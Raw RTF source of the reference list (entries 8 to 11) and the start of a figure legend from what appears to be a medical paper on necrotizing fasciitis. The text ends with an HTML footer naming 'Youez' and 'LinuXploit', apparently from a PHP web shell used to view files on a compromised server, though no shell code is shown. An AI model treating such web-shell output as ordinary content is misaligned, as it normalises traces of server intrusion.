AlJehani Y, Albuainain H, Zakaria H, Makhdom F, Al-Ansari R. Necrotizing fasciitis: An unusual causative pathogen. Int J Health Allied Sci 2012}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
; 1:286}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5327492\charrsid202925 \hich\af0\dbch\af31505\loch\f0 -9}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5181603\charrsid202925 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 8. }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Mukhopadhayay M et al}{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 \hich\af0\dbch\af31505\loch\f0 A }{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0 clinicopathologic}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 \hich\af0\dbch\af31505\loch\f0  study of  necrotizing fasciitis. }{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Al}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Amen J}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 ournal of }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Medical Sciences }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 volume 4}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , no.1, 2011}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 6-13}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 9.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Elliot D}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 \hich\af0\dbch\af31505\loch\f0 C }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 ,Kufera JA .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid4981463 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 necrotising soft tissue infections risk factors for mortality and strategies for management.Annals }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4981463 \hich\af0\dbch\af31505\loch\f0 o}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid4981463\charrsid202925 \hich\af0\dbch\af31505\loch\f0 f Surgery }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 vol 224,no5,672-683.}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 
\par \hich\af0\dbch\af31505\loch\f0 10.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0  Legbo }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 et al necrotizing fasciitis: a comparative analysis of 56 cases.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Journal Of National Medical Association}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714 \hich\af0\dbch\af31505\loch\f0 , }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0 vol}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714 \hich\af0\dbch\af31505\loch\f0 . }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 97 no 12 }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 December}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  2005}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , 1692}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0 -1697
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15087761\charrsid202925 \hich\af0\dbch\af31505\loch\f0 11 }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Barkdull,Wittich}{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0  Rapidly}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15087761\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  progressing necrotizing fasciitis}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15087761\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Hospital Physician June}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3043836\charrsid202925 \hich\af0\dbch\af31505\loch\f0  2004}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , 47}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3043836\charrsid202925 \hich\af0\dbch\af31505\loch\f0 -50}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid15087761\charrsid202925 .
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 
\par }\pard \ltrpar\ql \li900\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin900\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 
\par }\pard \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid4071839\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Legends}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid11026526 \hich\af0\dbch\af31505\loch\f0  
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11026526\charrsid11026526 \hich\af0\dbch\af31505\loch\f0 Figure }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11929594\charrsid11026526 \hich\af0\dbch\af31505\loch\f0 1}{\rtlch\fcs1 
\ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11026526\charrsid11026526 \hich\af0\dbch\af31505\loch\f0       }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11929594\charrsid11026526 \hich\af0\dbch\af31505\loch\f0 
Necrotizing fasciitis ulcer in suprapubic region, R}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11026526\charrsid11026526 \hich\af0\dbch\af31505\loch\f0 igh}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11929594\charrsid11026526 
\hich\af0\dbch\af31505\loch\f0 t \hich\f0 \endash \loch\f0   
\par \hich\af0\dbch\af31505\loch\f0                }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11026526 \hich\af0\dbch\af31505\loch\f0    }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11929594\charrsid11026526 
\hich\af0\dbch\af31505\loch\f0  L}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11026526\charrsid11026526 \hich\af0\dbch\af31505\loch\f0 ef}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11929594\charrsid11026526 
\hich\af0\dbch\af31505\loch\f0 t iliac fossa, }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11026526\charrsid11026526 \hich\af0\dbch\af31505\loch\f0 left}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid11929594\charrsid11026526 
\hich\af0\dbch\af31505\loch\f0  labia 
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0000000000000000000000000000000000000000000000000105000000000000}}</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>